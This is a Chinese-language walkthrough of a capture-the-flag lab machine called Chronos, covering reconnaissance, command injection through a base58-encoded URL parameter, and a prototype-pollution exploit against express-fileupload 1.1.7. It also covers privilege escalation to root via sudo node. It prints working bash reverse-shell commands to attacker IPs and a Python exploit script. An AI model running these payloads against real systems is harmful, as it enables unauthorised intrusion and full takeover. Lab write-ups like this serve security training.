靶机导入virtualbox启动,或者vulhub貌似也可以搭建,网上搜一下教程 。
1、难度:中
2、目标:取得2个flag+root权限
3、涉及攻击方法:
端口扫描、web侦查、命令注入、反弹shell、数据编解码、框架漏洞利用、代码审计、node和npm本地提权
4、涉及工具:
kali、namp、netdiscover、cyberchef(在线工具)
sudo netdiscover -r ip/24

(1)发现靶机ip为:192.168.124.30
(2)使用nmap扫描:

(3)namp扫描具体服务:

(1)查看80端口以及源码等信息


发现一段脚本:
var _0x5bdf=['150447srWefj','70lwLrol','1658165LmcNig','open','1260881JUqdKM','10737CrnEEe','2SjTdWC','readyState','responseText','1278676qXleJg','797116soVTES','onreadystatechange','http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL','User-Agent','status','1DYOODT','400909Mbbcfr','Chronos','2QRBPWS','getElementById','innerHTML','date'];(function(_0x506b95,_0x817e36){var _0x244260=_0x432d;while(!![]){try{var _0x35824b=-parseInt(_0x244260(0x7e))*parseInt(_0x244260(0x90))+parseInt(_0x244260(0x8e))+parseInt(_0x244260(0x7f))*parseInt(_0x244260(0x83))+-parseInt(_0x244260(0x87))+-parseInt(_0x244260(0x82))*parseInt(_0x244260(0x8d))+-parseInt(_0x244260(0x88))+parseInt(_0x244260(0x80))*parseInt(_0x244260(0x84));if(_0x35824b===_0x817e36)break;else _0x506b95['push'](_0x506b95['shift']());}catch(_0x3fb1dc){_0x506b95['push'](_0x506b95['shift']());}}}(_0x5bdf,0xcaf1e));function _0x432d(_0x16bd66,_0x33ffa9){return _0x432d=function(_0x5bdf82,_0x432dc8){_0x5bdf82=_0x5bdf82-0x7e;var _0x4da6e8=_0x5bdf[_0x5bdf82];return _0x4da6e8;},_0x432d(_0x16bd66,_0x33ffa9);}function loadDoc(){var _0x17df92=_0x432d,_0x1cff55=_0x17df92(0x8f),_0x2beb35=new XMLHttpRequest();_0x2beb35[_0x17df92(0x89)]=function(){var _0x146f5d=_0x17df92;this[_0x146f5d(0x85)]==0x4&&this[_0x146f5d(0x8c)]==0xc8&&(document[_0x146f5d(0x91)](_0x146f5d(0x93))[_0x146f5d(0x92)]=this[_0x146f5d(0x86)]);},_0x2beb35[_0x17df92(0x81)]('GET',_0x17df92(0x8a),!![]),_0x2beb35['setRequestHeader'](_0x17df92(0x8b),_0x1cff55),_0x2beb35['send']();}
粘贴在编辑器中进行分析:

发现脚本都进行了编码处理,对代码进行整理、美化等操作。



发现处理后的代码中依然不太好读,但有一段明文url:

发现了8000端口,刚刚nmap也扫出来了8000端口,猜测这个url中的域名可能就是靶机的ip。配置一下host文件,将靶机ip指向这个域名。
vim /etc/hosts


绑定域名后刷新页面,发现页面出现变化。(还进行了目录扫描等操作,无发现)

刷新页面,burp抓包。
发现有一个数据包中的user-agent字段与平常不太一样,说明该字段被人为更改。分析该数据包url中format参数。

分析该数据包url中format参数。疑似base 58编码,在线解码:
解码工具链接CTF在线工具-在线base58编码|在线base58解码|base58编码|base58解码|base58check

发现是一串显示日期的命令,尝试执行该命令

显示出日期,且该命令执行结果的格式和8000端口的前端页面显示的日期格式是相同的,说明8000端口前端日期通过执行该命令回显的,即此处有命令执行漏洞

尝试执行反弹shell(将shell进行base 58编码)
🌟命令如下:
| bash -c 'bash -i >& /dev/tcp/172.20.10.3/6666 0>&1'
将命令编码后替换url

发送数据包,同时本地开启监听:nc -lvp 6666
//!!!关防火墙!!!!!

提权三种思路:内核漏洞,suid权限配置不当,sudo权限配置不当
各种搜,大量查看当前文件、上层文件,再结合搜索引擎发现可以利用的漏洞


通过查看当前主机的网络连接,发现还开放了8080 的端口,但刚刚端口扫描没扫出来,说明外网无法访问,然后各种搜索文件夹下文件内容,在service.js文件中发现该端口服务配置。
且发现可能存在高危漏洞点的文件上传语句fileupload,百度查一下

是一个文件上传的中间件函数,不知道这是啥函数不要紧,直接搜漏洞。

但server.js文件中并没有版本信息,同目录下还有两个json文件,查看一下

在package.json中发现express-upload版本信息,1.1.7,存在漏洞。

kali中新建一个脚本文件:vim shell.py,写入代码:
- import requests
-
- ### commands to run on victim machine
- cmd = 'bash -c "bash -i &> /dev/tcp/kali的IP/8020 0>&1"'
-
- print("Starting Attack...")
- ### pollute
- requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (
- None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
-
- ### execute command
- requests.get('http://127.0.0.1:8080')
- print("Finished!")
将文件shell.py放在/var/www/html文件夹下:sudo cp shell.py /var/www/html
启动web:service apache2 start
回到webshell中输入对应命令wget http://攻击机IP/shell.py
再python3 shell.py执行该文件,同时kali端监听端口8020


此时拿到了另一个用户imera的权限 ,例行查看一下文件,发现user文件,且能直接查看:

base 58解不出来,base64可以,但是看不懂,估计是flag

sudo -l查看发现node和npm可查看root权限文件。

使用node和npm提权(参考:node | GTFOBins),查看发现root.txt文件,这里应该是另一个flag。
sudo node -e 'child_process.spawn("/bin/sh", {stdio: [0, 1, 2]})'

over